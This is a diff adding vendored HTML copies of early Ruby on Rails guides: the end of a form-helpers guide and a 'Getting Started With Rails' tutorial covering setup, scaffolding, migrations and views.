+ + + +
+Note +This guide is not intended to be a complete documentation of available form helpers and their arguments. Please visit the Rails API documentation for a complete reference.
+
+
+
+

1. Basic forms

+
+

The most basic form helper is form_tag.

+
+
+
<% form_tag do %>
+  Form contents
+<% end %>
+
+

When called without arguments like this, it creates a form element that has the current page for action attribute and "POST" as method (some line breaks added for readability):

+
+
Example: Sample rendering of form_tag
+
+
<form action="/home/index" method="post">
+  <div style="margin:0;padding:0">
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  Form contents
+</form>
+
+

If you carefully observe this output, you can see that the helper generated something we didn't specify: a div element with a hidden input inside. This is a security feature of Rails called cross-site request forgery protection and form helpers generate it for every form which action isn't "GET" (provided that this security feature is enabled).

+
+ + + +
+Note +Throughout this guide, this div with the hidden input will be stripped away to have clearer code samples.
+
+

1.1. Generic search form

+

Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of:

+
    +
  1. +

    +a form element with "GET" method, +

    +
  2. +
  3. +

    +a label for the input, +

    +
  4. +
  5. +

    +a text input element, and +

    +
  6. +
  7. +

    +a submit element. +

    +
  8. +
+
+ + + +
+Important +Always use "GET" as the method for search forms. Benefits are many: users are able to bookmark a specific search and get back to it; browsers cache results of "GET" requests, but not "POST"; and other.
+
+

To create that, we will use form_tag, label_tag, text_field_tag and submit_tag, respectively.

+
+
Example: A basic search form
+
+
<% form_tag(search_path, :method => "get") do %>
+  <%= label_tag(:q, "Search for:") %>
+  <%= text_field_tag(:q) %>
+  <%= submit_tag("Search") %>
+<% end %>
+
+
+ + + +
+Tip + +

search_path can be a named route specified in "routes.rb":

+
+
+
map.search "search", :controller => "search"
+
+
+
+

The above view code will result in the following markup:

+
+
Example: Search form HTML
+
+
<form action="/search" method="get">
+  <label for="q">Search for:</label>
+  <input id="q" name="q" type="text" />
+  <input name="commit" type="submit" value="Search" />
+</form>
+
+

Besides text_field_tag and submit_tag, there is a similar helper for every form control in HTML.

+
+ + + +
+Tip +For every form input, an ID attribute is generated from its name ("q" in our example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript.
+
+

1.2. Multiple hashes in form helper attributes

+

By now we've seen that the form_tag helper accepts 2 arguments: the path for the action attribute and an options hash for parameters (like :method).

+

Identical to the link_to helper, the path argument doesn't have to be given as string or a named route. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. Still, we cannot simply write this:

+
+
Example: A bad way to pass multiple hashes as method arguments
+
+
form_tag(:controller => "people", :action => "search", :method => "get")
+# => <form action="/people/search?method=get" method="post">
+
+

Here we wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL that we didn't want. The solution is to delimit the first hash (or both hashes) with curly brackets:

+
+
Example: The correct way of passing multiple hashes as arguments
+
+
form_tag({:controller => "people", :action => "search"}, :method => "get")
+# => <form action="/people/search" method="get">
+
+

This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly.

+
+ + + +
+Warning +Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an expecting tASSOC syntax error.
+
+

1.3. Checkboxes, radio buttons and other controls

+

Checkboxes are form controls that give the user a set of options they can enable or disable:

+
+
+
<%= check_box_tag(:pet_dog) %>
+  <%= label_tag(:pet_dog, "I own a dog") %>
+<%= check_box_tag(:pet_cat) %>
+  <%= label_tag(:pet_cat, "I own a cat") %>
+
+output:
+
+<input id="pet_dog" name="pet_dog" type="checkbox" value="1" />
+  <label for="pet_dog">I own a dog</label>
+<input id="pet_cat" name="pet_cat" type="checkbox" value="1" />
+  <label for="pet_cat">I own a cat</label>
+
+

Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (user can only pick one):

+
+
+
<%= radio_button_tag(:age, "child") %>
+  <%= label_tag(:age_child, "I am younger than 21") %>
+<%= radio_button_tag(:age, "adult") %>
+  <%= label_tag(:age_adult, "I'm over 21") %>
+
+output:
+
+<input id="age_child" name="age" type="radio" value="child" />
+  <label for="age_child">I am younger than 21</label>
+<input id="age_adult" name="age" type="radio" value="adult" />
+  <label for="age_adult">I'm over 21</label>
+
+
+ + + +
+Important +Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region.
+
+

Other form controls we might mention are the text area, password input and hidden input:

+
+
+
<%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %>
+<%= password_field_tag(:password) %>
+<%= hidden_field_tag(:parent_id, "5") %>
+
+output:
+
+<textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea>
+<input id="password" name="password" type="password" />
+<input id="parent_id" name="parent_id" type="hidden" value="5" />
+
+

Hidden inputs are not shown to the user, but they hold data same as any textual input. Values inside them can be changed with JavaScript.

+
+ + + +
+Tip +If you're using password input fields (for any purpose), you might want to prevent their values showing up in application logs by activating filter_parameter_logging(:password) in your ApplicationController.
+
+

1.4. How do forms with PUT or DELETE methods work?

+

Rails framework encourages RESTful design of your applications, which means you'll be making a lot of "PUT" and "DELETE" requests (besides "GET" and "POST"). Still, most browsers don't support methods other than "GET" and "POST" when it comes to submitting forms. How does this work, then?

+

Rails works around this issue by emulating other methods over POST with a hidden input named "_method" that is set to reflect the wanted method:

+
+
+
form_tag(search_path, :method => "put")
+
+output:
+
+<form action="/search" method="post">
+  <div style="margin:0;padding:0">
+    <input name="_method" type="hidden" value="put" />
+    <input name="authenticity_token" type="hidden" value="f755bb0ed134b76c432144748a6d4b7a7ddf2b71" />
+  </div>
+  ...
+
+

When parsing POSTed data, Rails will take into account the special "_method" parameter and act as if the HTTP method was the one specified inside it ("PUT" in this example).

+
+

2. Forms that deal with model attributes

+
+

When we're dealing with an actual model, we will use a different set of form helpers and have Rails take care of some details in the background. In the following examples we will handle an Article model. First, let us have the controller create one:

+
+
Example: articles_controller.rb
+
+
def new
+  @article = Article.new
+end
+
+

Now we switch to the view. The first thing to remember is that we should use form_for helper instead of form_tag, and that we should pass the model name and object as arguments:

+
+
Example: articles/new.html.erb
+
+
<% form_for :article, @article, :url => { :action => "create" } do |f| %>
+  <%= f.text_field :title %>
+  <%= f.text_area :body, :size => "60x12" %>
+  <%= submit_tag "Create" %>
+<% end %>
+
+

There are a few things to note here:

+
    +
  1. +

    +:article is the name of the model and @article is our record. +

    +
  2. +
  3. +

    +The URL for the action attribute is passed as a parameter named :url. +

    +
  4. +
  5. +

    +The form_for method yields a form builder object (the f variable). +

    +
  6. +
  7. +

    +Methods to create form controls are called on the form builder object f and without the "_tag" suffix (so text_field_tag becomes f.text_field). +

    +
  8. +
+

The resulting HTML is:

+
+
+
<form action="/articles/create" method="post">
+  <input id="article_title" name="article[title]" size="30" type="text" />
+  <textarea id="article_body" name="article[body]" cols="60" rows="12"></textarea>
+  <input name="commit" type="submit" value="Create" />
+</form>
+
+

A nice thing about f.text_field and other helper methods is that they will pre-fill the form control with the value read from the corresponding attribute in the model. For example, if we created the article instance by supplying an initial value for the title in the controller:

+
+
+
@article = Article.new(:title => "Rails makes forms easy")
+
+

… the corresponding input will be rendered with a value:

+
+
+
<input id="post_title" name="post[title]" size="30" type="text" value="Rails makes forms easy" />
+
+

2.1. Relying on record identification

+

In the previous chapter we handled the Article model. This model is directly available to users of our application and, following the best practices for developing with Rails, we should declare it a resource.

+

When dealing with RESTful resources, our calls to form_for can get significantly easier if we rely on record identification. In short, we can just pass the model instance and have Rails figure out model name and the rest:

+
+
+
## Creating a new article
+# long-style:
+form_for(:article, @article, :url => articles_path)
+# same thing, short-style (record identification gets used):
+form_for(@article)
+
+## Editing an existing article
+# long-style:
+form_for(:article, @article, :url => article_path(@article), :method => "put")
+# short-style:
+form_for(@article)
+
+

Notice how the short-style form_for invocation is conveniently the same, regardless of the record being new or existing. Record identification is smart enough to figure out if the record is new by asking record.new_record?.

+
+ + + +
+Warning +When you're using STI (single-table inheritance) with your models, you can't rely on record identification on a subclass if only their parent class is declared a resource. You will have to specify the model name, :url and :method explicitly.
+
+
+

3. Making select boxes with ease

+
+

Select boxes in HTML require a significant amount of markup (one OPTION element for each option to choose from), therefore it makes the most sense for them to be dynamically generated from data stored in arrays or hashes.

+

Here is what our wanted markup might look like:

+
+
+
<select name="city_id" id="city_id">
+  <option value="1">Lisabon</option>
+  <option value="2">Madrid</option>
+  ...
+  <option value="12">Berlin</option>
+</select>
+
+

Here we have a list of cities where their names are presented to the user, but internally we want to handle just their IDs so we keep them in value attributes. Let's see how Rails can help out here.

+

3.1. The select tag and options

+

The most generic helper is select_tag, which — as the name implies — simply generates the SELECT tag that encapsulates the options:

+
+
+
<%= select_tag(:city_id, '<option value="1">Lisabon</option>...') %>
+
+

This is a start, but it doesn't dynamically create our option tags. We had to pass them in as a string.

+

We can generate option tags with the options_for_select helper:

+
+
+
<%= options_for_select([['Lisabon', 1], ['Madrid', 2], ...]) %>
+
+output:
+
+<option value="1">Lisabon</option>
+<option value="2">Madrid</option>
+...
+
+

For input data we used a nested array where each element has two elements: visible value (name) and internal value (ID).

+

Now you can combine select_tag and options_for_select to achieve the desired, complete markup:

+
+
+
<%= select_tag(:city_id, options_for_select(...)) %>
+
+

Sometimes, depending on our application's needs, we also wish a specific option to be pre-selected. The options_for_select helper supports this with an optional second argument:

+
+
+
<%= options_for_select(cities_array, 2) %>
+
+output:
+
+<option value="1">Lisabon</option>
+<option value="2" selected="selected">Madrid</option>
+...
+
+

So whenever Rails sees that the internal value of an option being generated matches this value, it will add the selected attribute to that option.

+

3.2. Select boxes for dealing with models

+

Until now we've covered how to make generic select boxes, but in most cases our form controls will be tied to a specific database model. So, to continue from our previous examples, let's assume that we have a "Person" model with a city_id attribute.

+
+
+
...
+
+

+
+ +
+
+ + diff --git a/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html b/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html new file mode 100644 index 00000000..d2ab24de --- /dev/null +++ b/vendor/rails/railties/doc/guides/html/getting_started_with_rails.html @@ -0,0 +1,2066 @@ + + + + + Getting Started With Rails + + + + + + + + + +
+ + + +
+

Getting Started With Rails

+
+
+

This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with:

+
    +
  • +

    +Installing Rails, creating a new Rails application, and connecting your application to a database +

    +
  • +
  • +

    +The general layout of a Rails application +

    +
  • +
  • +

    +The basic principles of MVC (Model, View Controller) and RESTful design +

    +
  • +
  • +

    +How to quickly generate the starting pieces of a Rails application. +

    +
  • +
+
+
+

1. This Guide Assumes

+
+

This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed:

+
+

It is highly recommended that you familiarize yourself with Ruby before diving into Rails. You will find it much easier to follow what's going on with a Rails application if you understand basic Ruby syntax. Rails isn't going to magically revolutionize the way you write web applications if you have no experience with the language it uses. There are some good free resources on the net for learning Ruby, including:

+ +
+

2. What is Rails?

+
+

Rails is a web development framework written in the Ruby language. It is designed to make programming web applications easier by making several assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Longtime Rails developers also report that it makes web application development more fun.

+

Rails is opinionated software. That is, it assumes that there is a best way to do things, and it's designed to encourage that best way - and in some cases discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience.

+

The Rails philosophy includes several guiding principles:

+
    +
  • +

    +DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. +

    +
  • +
  • +

    +Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than letting you tweak every little thing through endless configuration files. +

    +
  • +
  • +

    +REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. +

    +
  • +
+

2.1. The MVC Architecture

+

Rails is organized around the Model, View, Controller architecture, usually just called MVC. MVC benefits include:

+
    +
  • +

    +Isolation of business logic from the user interface +

    +
  • +
  • +

    +Ease of keeping code DRY +

    +
  • +
  • +

    +Making it clear where different types of code belong for easier maintenance +

    +
  • +
+

2.1.1. Models

+

A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models.

+

2.1.2. Views

+

Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that performs tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application.

+

2.1.3. Controllers

+

Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation.

+

2.2. The Components of Rails

+

Rails provides a full stack of components for creating web applications, including:

+
    +
  • +

    +Action Controller +

    +
  • +
  • +

    +Action View +

    +
  • +
  • +

    +Active Record +

    +
  • +
  • +

    +Action Mailer +

    +
  • +
  • +

    +Active Resource +

    +
  • +
  • +

    +Railties +

    +
  • +
  • +

    +Active Support +

    +
  • +
+

2.2.1. Action Controller

+

Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management.

+

2.2.2. Action View

+

Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support.

+

2.2.3. Active Record

+

Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services.

+

2.2.4. Action Mailer

+

Action Mailer is a framework for building e-mail services. You can use Action Mailer to send emails based on flexible templates, or to receive and process incoming email.

+

2.2.5. Active Resource

+

Active Resource provides a framework for managing the connection between business objects an RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics.

+

2.2.6. Railties

+

Railties is the core Rails code that builds new Rails applications and glues the various frameworks together in any Rails application.

+

2.2.7. Active Support

+

Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in the Rails, both by the core code and by your applications.

+

2.3. REST

+

The foundation of the RESTful architecture is generally considered to be Roy Fielding's doctoral thesis, Architectural Styles and the Design of Network-based Software Architectures. Fortunately, you need not read this entire document to understand how REST works in Rails. REST, an acronym for Representational State Transfer, boils down to two main principles for our purposes:

+
    +
  • +

    +Using resource identifiers (which, for the purposes of discussion, you can think of as URLs) to represent resources +

    +
  • +
  • +

    +Transferring representations of the state of that resource between system components. +

    +
  • +
+

For example, to a Rails application a request such as this:

+

DELETE /photos/17

+

would be understood to refer to a photo resource with the ID of 17, and to indicate a desired action - deleting that resource. REST is a natural style for the architecture of web applications, and Rails makes it even more natural by using conventions to shield you from some of the RESTful complexities.

+

If you’d like more details on REST as an architectural style, these resources are more approachable than Fielding’s thesis:

+
+
+

3. Creating a New Rails Project

+
+

If you follow this guide, you'll create a Rails project called blog, a (very) simple weblog. Before you can start building the application, you need to make sure that you have Rails itself installed.

+

3.1. Installing Rails

+

In most cases, the easiest way to install Rails is to take advantage of RubyGems:

+
+
+
$ gem install rails
+
+
+ + + +
+Note +There are some special circumstances in which you might want to use an alternate installation strategy:
+
+
    +
  • +

    +If you're working on Windows, you may find it easier to install Instant Rails. Be aware, though, that Instant Rails releases tend to lag seriously behind the actual Rails version. Also, you will find that Rails development on Windows is overall less pleasant than on other operating systems. If at all possible, we suggest that you install a Linux virtual machine and use that for Rails development, instead of using Windows. +

    +
  • +
  • +

    +If you want to keep up with cutting-edge changes to Rails, you'll want to clone the Rails source code from github. This is not recommended as an option for beginners, though. +

    +
  • +
+

3.2. Creating the Blog Application

+

Open a terminal, navigate to a folder where you have rights to create files, and type:

+
+
+
$ rails blog
+
+

This will create a Rails application that uses a SQLite database for data storage. If you prefer to use MySQL, run this command instead:

+
+
+
$ rails blog -d mysql
+
+

And if you're using PostgreSQL for data storage, run this command:

+
+
+
$ rails blog -d postgresql
+
+

In any case, Rails will create a folder in your working directory called blog. Open up that folder and explore its contents. Most of the work in this tutorial will happen in the app/ folder, but here's a basic rundown on the function of each folder that Rails creates in a new application by default:

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ File/Folder + + Purpose +
+ README + + This is a brief instruction manual for your application. Use it to tell others what your application does, how to set it up, and so on. +
+ Rakefile + + This file contains batch jobs that can be run from the terminal. +
+ app/ + + Contains the controllers, models, and views for your application. You'll focus on this folder for the remainder of this guide. +
+ config/ + + Configure your application's runtime rules, routes, database, and more. +
+ db/ + + Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly. +
+ doc/ + + In-depth documentation for your application. +
+ lib/ + + Extended modules for your application (not covered in this guide). +
+ log/ + + Application log files. +
+ public/ + + The only folder seen to the world as-is. This is where your images, javascript, stylesheets (CSS), and other static files go. +
+ script/ + + Scripts provided by Rails to do recurring tasks, such as benchmarking, plugin installation, and starting the console or the web server. +
+ test/ + + Unit tests, fixtures, and other test apparatus. These are covered in Testing Rails Applications +
+ tmp/ + + Temporary files +
+ vendor/ + + A place for third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality. +
+
+

3.3. Configuring a Database

+

Just about every Rails application will interact with a database. The database to use is specified in a configuration file, config/database.yml. +If you open this file in a new Rails application, you'll see a default database configuration using SQLite. The file contains sections for three different environments in which Rails can run by default:

+
    +
  • +

    +The development environment is used on your development computer as you interact manually with the application +

    +
  • +
  • +

    +The test environment is used to run automated tests +

    +
  • +
  • +

    +The production environment is used when you deploy your application for the world to use. +

    +
  • +
+

3.3.1. Configuring a SQLite Database

+

Rails comes with built-in support for SQLite, which is a lightweight serverless database application. While a busy production environment may overload SQLite, it works well for development and testing. Rails defaults to using a SQLite database when creating a new project, but you can always change it later.

+

Here's the section of the default configuration file with connection information for the development environment:

+
+
+
development:
+  adapter: sqlite3
+  database: db/development.sqlite3
+  timeout: 5000
+
+

If you don't have any database set up, SQLite is the easiest to get installed. If you're on OS X 10.5 or greater on a Mac, you already have it. Otherwise, you can install it using RubyGems:

+

If you're not running OS X 10.5 or greater, you'll need to install the SQLite gem. Similar to installing Rails you just need to run:

+
+
+
$ gem install sqlite3-ruby
+
+

3.3.2. Configuring a MySQL Database

+

If you choose to use MySQL, your config/database.yml will look a little different. Here's the development section:

+
+
+
development:
+  adapter: mysql
+  encoding: utf8
+  database: blog_development
+  username: root
+  password:
+  socket: /tmp/mysql.sock
+
+

If your development computer's MySQL installation includes a root user with an empty password, this configuration should work for you. Otherwise, change the username and password in the development section as appropriate.

+

3.3.3. Configuring a PostgreSQL Database

+

If you choose to use PostgreSQL, your config/database.yml will be customized to use PostgreSQL databases:

+
+
+
development:
+  adapter: postgresql
+  encoding: unicode
+  database: blog_development
+  username: blog
+  password:
+
+

Change the username and password in the development section as appropriate.

+
+

4. Hello, Rails!

+
+

One of the traditional places to start with a new language is by getting some text up on screen quickly. To do that in Rails, you need to create at minimum a controller and a view. Fortunately, you can do that in a single command. Enter this command in your terminal:

+
+
+
$ script/generate controller home index
+
+
+ + + +
+Tip +If you're on Windows, or your Ruby is set up in some non-standard fashion, you may need to explicitly pass Rails script commands to Ruby: ruby script/generate controller home index.
+
+

Rails will create several files for you, including app/views/home/index.html.erb. This is the template that will be used to display the results of the index action (method) in the home controller. Open this file in your text editor and edit it to contain a single line of code:

+
+
+
<h1>Hello, Rails!</h1>
+
+

4.1. Starting up the Web Server

+

You actually have a functional Rails application already - after running only two commands! To see it, you need to start a web server on your development machine. You can do this by running another command:

+
+
+
$ script/server
+
+

This will fire up the lightweight Webrick web server by default. To see your application in action, open a browser window and navigate to http://localhost:3000. You should see Rails' default information page:

+

+Welcome Aboard screenshot +

+
+ + + +
+Tip +To stop the web server, hit Ctrl+C in the terminal window where it's running. In development mode, Rails does not generally require you to stop the server; changes you make in files will be automatically picked up by the server.
+
+

The "Welcome Aboard" page is the smoke test for a new Rails application: it makes sure that you have your software configured correctly enough to serve a page. To view the page you just created, navigate to http://localhost:3000/home/index.

+

4.2. Setting the Application Home Page

+

You'd probably like to replace the "Welcome Aboard" page with your own application's home page. The first step to doing this is to delete the default page from your application:

+
+
+
$ rm public/index.html
+
+

Now, you have to tell Rails where your actual home page is located. Open the file config/routes.rb in your editor. This is your application's, routing file, which holds entries in a special DSL (domain-specific language) that tells Rails how to connect incoming requests to controllers and actions. At the bottom of the file you'll see the default routes:

+
+
+
map.connect ':controller/:action/:id'
+map.connect ':controller/:action/:id.:format'
+
+

The default routes handle simple requests such as /home/index: Rails translates that into a call to the index action in the home controller. As another example, /posts/edit/1 would run the edit action in the posts controller with an id of 1.

+

To hook up your home page, you need to add another line to the routing file, above the default routes:

+
+
+
map.root :controller => "home"
+
+

This line illustrates one tiny bit of the "convention over configuration" approach: if you don't specify an action, Rails assumes the index action.

+

Now if you navigate to http://localhost:3000 in your browser, you'll see the home/index view.

+
+ + + +
+Note +For more information about routing, refer to Rails Routing from the Outside In.
+
+
+

5. Getting Up and Running Quickly With Scaffolding

+
+

Rails scaffolding is a quick way to generate some of the major pieces of an application. If you want to create the models, views, and controllers for a new resource in a single operation, scaffolding is the tool for the job.

+
+

6. Creating a Resource

+
+

In the case of the blog application, you can start by generating a scaffolded Post resource: this will represent a single blog posting. To do this, enter this command in your terminal:

+
+
+
$ script/generate scaffold Post name:string title:string content:text
+
+
+ + + +
+Note +While scaffolding will get you up and running quickly, the "one size fits all" code that it generates is unlikely to be a perfect fit for your application. In most cases, you'll need to customize the generated code. Many experienced Rails developers avoid scaffolding entirely, preferring to write all or most of their source code from scratch.
+
+

The scaffold generator will build 13 files in your application, along with some folders, and edit one more. Here's a quick overview of what it creates:

+
+ +++ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+ File + + Purpose +
+ app/models/post.rb + + The Post model +
+ db/migrate/20081013124235_create_posts.rb + + Migration to create the posts table in your database (your name will include a different timestamp) +
+ app/views/posts/index.html.erb + + A view to display an index of all posts +
+ app/views/posts/show.html.erb + + A view to display a single post +
+ app/views/posts/new.html.erb + + A view to create a new post +
+ app/views/posts/edit.html.erb + + A view to edit an existing post +
+ app/views/layouts/posts.html.erb + + A view to control the overall look and feel of the other posts views +
+ public/stylesheets/scaffold.css + + Cascading style sheet to make the scaffolded views look better +
+ app/controllers/posts_controller.rb + + The Posts controller +
+ test/functional/posts_controller_test.rb + + Functional testing harness for the posts controller +
+ app/helpers/posts_helper.rb + + Helper functions to be used from the posts views +
+ config/routes.rb + + Edited to include routing information for posts +
+ test/fixtures/posts.yml + + Dummy posts for use in testing +
+ test/unit/post_test.rb + + Unit testing harness for the posts model +
+
+

6.1. Running a Migration

+

One of the products of the script/generate scaffold command is a database migration. Migrations are Ruby classes that are designed to make it simple to create and modify database tables. Rails uses rake commands to run migrations, and it's possible to undo a migration after it's been applied to your database. Migration filenames include a timestamp to ensure that they're processed in the order that they were created.

+

If you look in the db/migrate/20081013124235_create_posts.rb file (remember, yours will have a slightly different name), here's what you'll find:

+
+
+
class CreatePosts < ActiveRecord::Migration
+  def self.up
+    create_table :posts do |t|
+      t.string :name
+      t.string :title
+      t.text :content
+
+      t.timestamps
+    end
+  end
+
+  def self.down
+    drop_table :posts
+  end
+end
+
+

If you were to translate that into words, it says something like: when this migration is run, create a table named posts with two string columns (name and title) and a text column (content), and generate timestamp fields to track record creation and updating. You can learn the detailed syntax for migrations in the Rails Database Migrations guide.

+

At this point, you need to do two things: create the database and run the migration. You can use rake commands at the terminal for both of those tasks:

+
+
+
$ rake db:create
+$ rake db:migrate
+
+
+ + + +
+Note +Because you're working in the development environment by default, both of these commands will apply to the database defined in the development section of your config/database.yml file.
+
+ +

To hook the posts up to the home page you've already created, you can add a link to the home page. Open /app/views/home/index.html.erb and modify it as follows:

+
+
+
<h1>Hello, Rails!</h1>
+
+<%= link_to "My Blog", posts_path %>
+
+

The link_to method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path for posts.

+

6.3. Working with Posts in the Browser

+

Now you're ready to start working with posts. To do that, navigate to http://localhost:3000 and then click the "My Blog" link:

+

+Posts Index screenshot +

+

This is the result of Rails rendering the index view of your posts. There aren't currently any posts in the database, but if you click the New Post link you can create one. After that, you'll find that you can edit posts, look at their details, or destroy them. All of the logic and HTML to handle this was built by the single script/generate scaffold command.

+
+ + + +
+Tip +In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server.
+
+

Congratulations, you're riding the rails! Now it's time to see how it all works.

+

6.4. The Model

+

The model file, app/models/post.rb is about as simple as it can get:

+
+
+
class Post < ActiveRecord::Base
+end
+
+

There isn't much to this file - but note that the Post class inherits from ActiveRecord::Base. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another.

+

6.5. Adding Some Validation

+

Rails includes methods to help you validate the data that you send to models. Open the app/models/post.rb file and edit it:

+
+
+
class Post < ActiveRecord::Base
+  validates_presence_of :name, :title
+  validates_length_of :title, :minimum => 5
+end
+
+

These changes will ensure that all posts have a name and a title, and that the title is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects.

+

6.6. Using the Console

+

To see your validations in action, you can use the console. The console is a command-line tool that lets you execute Ruby code in the context of your application:

+
+
+
$ script/console
+
+

After the console loads, you can use it to work with your application's models:

+
+
+
>> p = Post.create(:content => "A new post")
+=> #<Post id: nil, name: nil, title: nil, content: "A new post",
+created_at: nil, updated_at: nil>
+>> p.save
+=> false
+>> p.errors
+=> #<ActiveRecord::Errors:0x23bcf0c @base=#<Post id: nil, name: nil,
+title: nil, content: "A new post", created_at: nil, updated_at: nil>,
+@errors={"name"=>["can't be blank"], "title"=>["can't be blank",
+"is too short (minimum is 5 characters)"]}>
+
+

This code shows creating a new Post instance, attempting to save it and getting false for a return value (indicating that the save failed), and inspecting the errors of the post.

+
+ + + +
+Tip +Unlike the development web server, the console does not automatically load your code afresh for each line. If you make changes, type reload! at the console prompt to load them.
+
+

6.7. Listing All Posts

+

The easiest place to start looking at functionality is with the code that lists all posts. Open the file app/controllers/posts_controller.rb and look at the index action:

+
+
+
def index
+  @posts = Post.find(:all)
+
+  respond_to do |format|
+    format.html # index.html.erb
+    format.xml  { render :xml => @posts }
+  end
+end
+
+

This code sets the @posts instance variable to an array of all posts in the database. Post.find(:all) or Post.all calls the Post model to return all of the posts that are currently in the database, with no limiting conditions.

+
+ + + +
+Tip +For more information on finding records with Active Record, see Active Record Finders.
+
+

The respond_to block handles both HTML and XML calls to this action. If you browse to http://localhost:3000/posts.xml, you'll see all of the posts in XML format. The HTML format looks for a view in app/views/posts/ with a name that corresponds to the action name. Rails makes all of the instance variables from the action available to the view. Here's app/view/posts/index.html.erb:

+
+
+
<h1>Listing posts</h1>
+
+<table>
+  <tr>
+    <th>Name</th>
+    <th>Title</th>
+    <th>Content</th>
+  </tr>
+
+<% for post in @posts %>
+  <tr>
+    <td><%=h post.name %></td>
+    <td><%=h post.title %></td>
+    <td><%=h post.content %></td>
+    <td><%= link_to 'Show', post %></td>
+    <td><%= link_to 'Edit', edit_post_path(post) %></td>
+    <td><%= link_to 'Destroy', post, :confirm => 'Are you sure?', :method => :delete %></td>
+  </tr>
+<% end %>
+</table>
+
+<br />
+
+<%= link_to 'New post', new_post_path %>
+
+

This view iterates over the contents of the @posts array to display content and links. A few things to note in the view:

+
    +
  • +

    +h is a Rails helper method to sanitize displayed data, preventing cross-site scripting attacks +

    +
  • +
  • +

    +link_to builds a hyperlink to a particular destination +

    +
  • +
  • +

    +edit_post_path is a helper that Rails provides as part of RESTful routing. You’ll see a variety of these helpers for the different actions that the controller includes. +

    +
  • +
+
+ + + +
+Tip +For more details on the rendering process, see Layouts and Rendering in Rails.
+
+

6.8. Customizing the Layout

+

The view is only part of the story of how HTML is displayed in your web browser. Rails also has the concept of layouts, which are containers for views. When Rails renders a view to the browser, it does so by putting the view's HTML into a layout's HTML. The script/generate scaffold command automatically created a default layout, app/views/layouts/posts.html.erb, for the posts. Open this layout in your editor and modify the body tag:

+
+
+
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
+       "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
+
+<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
+<head>
+  <meta http-equiv="content-type" content="text/html;charset=UTF-8" />
+  <title>Posts: <%= controller.action_name %></title>
+  <%= stylesheet_link_tag 'scaffold' %>
+</head>
+<body style="background: #EEEEEE;">
+
+<p style="color: green"><%= flash[:notice] %></p>
+
+<%= yield  %>
+
+</body>
+</html>
+
+

Now when you refresh the /posts page, you'll see a gray background to the page. This same gray background will be used throughout all the views for posts.

+

6.9. Creating New Posts

+

Creating a new post involves two actions. The first is the new action, which instantiates an empty Post object:

+
+
+
def new
+  @post = Post.new
+
+  respond_to do |format|
+    format.html # new.html.erb
+    format.xml  { render :xml => @post }
+  end
+end
+
+

The new.html.erb view displays this empty Post to the user:

+
+
+
<h1>New post</h1>
+
+<% form_for(@post) do |f| %>
+  <%= f.error_messages %>
+
+  <p>
+    <%= f.label :name %><br />
+    <%= f.text_field :name %>
+  </p>
+  <p>
+    <%= f.label :title %><br />
+    <%= f.text_field :title %>
+  </p>
+  <p>
+    <%= f.label :content %><br />
+    <%= f.text_area :content %>
+  </p>
+  <p>
+    <%= f.submit "Create" %>
+  </p>
+<% end %>
+
+<%= link_to 'Back', posts_path %>
+
+

